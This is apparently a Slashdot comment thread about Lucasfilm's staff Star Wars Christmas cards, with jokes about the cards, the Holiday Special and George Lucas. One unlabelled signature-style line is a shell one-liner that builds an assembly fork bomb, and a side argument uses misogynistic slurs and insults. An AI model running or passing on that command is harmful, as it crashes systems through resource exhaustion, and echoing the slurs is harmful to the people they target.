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30 Years of LucasFilm Staff Christmas Cards
An anonymous reader found that "For the last 30 years, Lucasfilm has created special holiday greeting cards for its employees and business partners. For the first time ever, we have compiled most of the Star Wars-themed Holiday Cards on one page." My favorite is 2005. That would make a cool poster or something.
They mention conceptual artist Ralph McQuarrie in these a lot--well, he's done many illustrations and paintings for collectible card sets. If you like these Christmas cards, I heavily recommend you collect the three Star Wars Galaxies Collectible Card sets put out by Topps in the early 1990s. I still have those three sets and still enjoy pulling them out every now and then and reading through the backs of the cards.
Most of the images on those cards are beautifully illustrated.
My work here is dung.
This years card is pretty badass, if i had the ability to get that I would be sending that one out this season.
I thought the year 2000 card was a pretty neat idea. While it may not give too much in terms of artistic value or depth it certainly ranks an 'A' on the "wtf, I wish I had one of these...no more pulling the sled up the hill"-scale. :D
Darth vader????
I mean he used to be human and would surely appreciate at LEAST a grinch look a like!!
Why can't we have more stories like THIS one?
See my journal for slashdot ID's by year. Mine created in 2005. http://slashdot.org/journal/289875/slashdot-ids-by-year
That change-of-address card is really nice.
"Little does he know, but there is no 'I' in 'Idiot'!"
So, you're a terrible person and not afraid to admit it ?
Religion is what happens when nature strikes and groupthink goes wrong.
The cards are all interesting until 1995, when they start getting very PC. I mea... Chewbacca walking kids through the snow? It's a nice sentiment but, c'mon.
Small potatoes make the steak look bigger.
Damn WTF, is that ewok polishing that snowman's carrot? Fucking 3p0 wearing a fuck-me Santa suit. Santa wears pants! Cripes.
Apparently, George Lucas sends the same card every year. He just adds more special effects.
You're an asshat. Security should have thrown *you* out of the cinema.
So, you are standing in line with your boyfriends while he was standing with his girlfriend?
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Knowing George Lucas, he'll be remailing the same Christmas cards 20 years later after they've been reworked to show his original vision....
You and your friends are jackasses.
At first, I thought the card with the Jawas might be showing them picking over Santa's sleigh, maybe loading the scavenged contents into the sand crawler. And Santa? Captive of the Sand People, I would reckon. Obviously, that's too dark humor for Lucas.
Oh, yeah, it's not easy to pad these out to 120 characters.
How the last ten years cards were visually stunning but really badly written?
Athletic Scholarships to universities make as much sense as academic scholarships to sports teams.
I love especially how he tries to take credit for the comment...Because he's so proud of it, and it's so witty!!
I would've liked to have seen one of the ultimate wielder of light sabres standing in front of a green screen myself...
--- The American Way of Life is not a birthright. Hell, it's not even sustainable.
It's for "Life Day."
And when are we going to get a Star Wars Holiday Special Special Edition? C'mon Lucas, I want to see Bea Arthur shoot first!
(-1, Raw and Uncut is the only way to read)
I wonder if old Georgie boy wakes up at night in a cold sweat and panic thinking about the legacy of trash film that he's leaving behind him, the millions of fans who feel betrayed and those of us who hated him from the word go.
Slightly worse:
He's a terrible person and proud of it.
Gamingmuseum.com: Give your 3D accelerator a rest.
You know what's really disappointing is that McQuarrie (who is responsible in large part for the excellent designs of the first trilogies) is still around and painting, and doing great work, and LUCAS DIDN'T USE HIM ON THE PREQUELS. We ended up with the creepy, smooth, lounge-lizard Buck Rogers look of the prequels. What a shame.
1983?
the riders look pretty glum, facing imminent incineration:-}
What is the boat supposed to be? Jabba's skiff? Of the non-SW ones, there's Indy of course and Harrison's hot rod "from American Graffiti" but it's hard to tell what's behind the car. the next group might be from THX-1138, then there's Chewie and the 'driods. After that I'm guessing Willow and the cantina band
It beggars belief that you're bragging about being that much of a cunt.
(1.21 gigawatts) / (88 miles per hour) = 30 757 874 newtons
Each of the Christmas cards features the same well.
Is it just me, or does the 1977 card look an awful lot like R2D2 is wearing a bra?
Arr! Read The Government Manual for New Pirates!
I seriously, seriously tried to sit through that monstrosity the other day without alcohol. I seriously tried but I couldn't get through the Jefferson Starship performance. And are wookiees media junkies? They've gotta be worse than the average American in that respect.
Geeks like to think that they can ignore politics, you can leave politics alone, but politics won't leave you alone.-rms
What's truly sad is that you thought telling this story about being an immature, obnoxious asshole would make you look cool. So you brutally insult some people who are standing in line and minding their own business, ruin their good time, and we're supposed to be impressed at how awesome you are? Get help.
Star Wars, there should have only been 3.
If someone is passing you on the right, you are an asshole for driving in the wrong lane.
Its all there in plain sight.
Evoks ate Santa back in 1983, and just like with storm troopers at the end of the "Return of the Jedi" - used his head for a drum.
In 1985 they tried (unsuccessfully) to trade the gifts to various races.
Not until 1994 did they manage to dump those gifts on anyone (apparently it is bad karma to eat Santa's) - until they bumped on a group of Jawas.
Those Jawas will take anything from anyone.
Mit der Dummheit kämpfen Götter selbst vergebens
The Wookiee grandpa watching VR, immersive, softcore space-porn is the best part.
That, and the (admittedly) coked-up Carrie Fisher singing.
I skip to the "good" parts these days, and only watch it when I'm showing it to someone who hasn't seen it. The first time, I watched it straight through, and I had to start reading a book to stay awake during the 20-minute-long stretch with NO TALKING AT ALL, just Wookiee grunting.
Lucas should make a special edition of it. Any changes he might make could only make it more hilariously bad, which is a good thing, for once.
"Absolute slut" means she's easy to have sex with except for you, eh?
Yes, truly you've painted a picture of a well-adjusted person everyone would want to relate to! Good job! You don't come off in the least like a misogynistic sociopath!
The whole time we're in line my friends are giving shit to this absolute slut in front of us. I don't use that word lightly. This girl was a disgrace.
I'm sorry, I'm not a native English speaker, and I don't know what 'slut' means.
Did she kill someone or steal their money or something?
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
No, no, Americans just have this strange belief that it's wrong to show your body in certain ways. Even nudity isn't tolerated! And for example,, you can't put makeup on in just any way you like.
They have a real meddling and interfering society, they don't care about who you are, they only care about silly rules you must follow, even if you never agreed to those rules!
So picture this: they will assault you if you mind your own business and do no harm! For example, if a woman would do the groceries bare-breasted, they'd give her a lot of trouble, she might not get the groceries, even if she pays for them, and they might even lock her up against her will! And it's not like she had agreed to live by certain rules: picture this, if you are born within their borders, they want you to follow their rules. They don't even ask or give you an option to leave! Can you imagine that? Those people are obviously moral primitives, you'd better take care if you'd ever go there. And the rest of the planet ain't much better.
(this post featured no sarcasm at all)
No, no, no.
A slut is a woman who will have sex with anyone.
A woman who will have sex with anyone except you is a bitch.
Cf. "..... but I'm not going to tell you whether I shagged her or not, just in case you think she's a slut."
Je fume. Tu fumes. Nous fûmes!